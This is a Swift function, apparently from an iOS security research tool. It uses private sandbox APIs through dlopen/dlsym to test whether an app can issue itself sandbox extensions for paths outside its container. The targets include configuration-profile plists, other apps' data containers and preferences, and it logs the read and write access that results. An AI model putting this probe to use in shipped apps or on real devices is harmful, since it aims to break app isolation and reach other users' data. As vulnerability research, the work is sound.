SBE: can a third-party app issue sandbox extensions for paths outside its container? func stageSandboxExtensions() { emit("=== SBE: sandbox extension issuance probe ===") typealias IssueFile = @convention(c) (UnsafePointer, UnsafePointer, UInt32) -> UnsafeMutablePointer? typealias IssueByPid = @convention(c) (UnsafePointer, UnsafePointer, UInt32, Int32) -> UnsafeMutablePointer? typealias Consume = @convention(c) (UnsafePointer) -> Int64 typealias Release = @convention(c) (Int64) -> Int32 guard let h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) else { emit("SBE dlopen failed errno=\(errno)") return } guard let sIssue = dlsym(h, "sandbox_extension_issue_file"), let sConsume = dlsym(h, "sandbox_extension_consume"), let sRelease = dlsym(h, "sandbox_extension_release") else { emit("SBE dlsym failed errno=\(errno)") return } let issue = unsafeBitCast(sIssue, to: IssueFile.self) let consume = unsafeBitCast(sConsume, to: Consume.self) let release = unsafeBitCast(sRelease, to: Release.self) let issueByPid: IssueByPid? = dlsym(h, "sandbox_extension_issue_file_to_process_by_pid") .map { unsafeBitCast($0, to: IssueByPid.self) } let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] let control = docs.appendingPathComponent("sbe_control.txt") try? "control".data(using: .utf8)?.write(to: control) let sg = "/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles" let targets: [(String, String)] = [ ("own-file", control.path), ("own-dir", docs.path), ("cfg-plist", sg + "/Library/ConfigurationProfiles/CloudConfigurationDetails.plist"), ("cfg-dir", sg + "/Library/ConfigurationProfiles"), ("cfg-root", sg), ("var-mobile-prefs", "/var/mobile/Library/Preferences"), ("containers-data", "/var/mobile/Containers/Data/Application"), ("containers-bundle", "/private/var/containers/Bundle/Application"), ("sys-version", "/System/Library/CoreServices/SystemVersion.plist"), ("private-tmp", "/private/tmp"), ] let classes = ["com.apple.app-sandbox.read", "com.apple.app-sandbox.read-write"] let flagVals: [(String, UInt32)] = [("default", 0), ("canonical", 2)] for (name, path) in targets { for cls in classes { let short = cls == "com.apple.app-sandbox.read" ? "R" : "RW" for (fn, fl) in flagVals { errno = 0 var line = "" if let tok = issue(cls, path, fl) { line = "issue=OK len=\(strlen(tok))" let handle = consume(tok) let cerr = errno if handle >= 0 { var acc = "listdir=" if let names = try? FileManager.default.contentsOfDirectory(atPath: path) { acc += "OK(\(names.count))" } else { acc += "no(\(errno))" } let fd = open(path, O_RDONLY) let oerr = errno if fd >= 0 { close(fd) acc += " open-ro=OK" if short == "RW" { let wfd = open(path, O_RDWR) let werr = errno if wfd >= 0 { close(wfd); acc += " open-rw=OK" } else { acc += " open-rw=err(\(werr))" } } } else { acc += " open-ro=err(\(oerr))" } _ = release(handle) line += " consume=\(handle) \(acc)" } else { line += " consume=fail(\(cerr))" } free(tok) } else { line = "issue=FAIL errno=\(errno)" } emit("SBE \(name) \(short)/\(fn) -> \(line) [\(path)]") } } } if let byPid = issueByPid { for (name, path) in targets { for cls in classes { let short = cls == "com.apple.app-sandbox.read" ? "R" : "RW" errno = 0 if let tok = byPid(cls, path, 0, getpid()) { emit("SBE-by-pid \(name) \(short) -> OK len=\(strlen(tok)) [\(path)]") free(tok) } else { emit("SBE-by-pid \(name) \(short) -> FAIL errno=\(errno) [\(path)]") } } } } else { emit("SBE-by-pid dlsym unavailable") } emit("=== SBE done ===") } func writeReport() { let url = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] .appendingPathComponent("ave_report.txt") try? log.write(to: url, atomically: true, encoding: .utf8) emit("report=\(url.path)") } }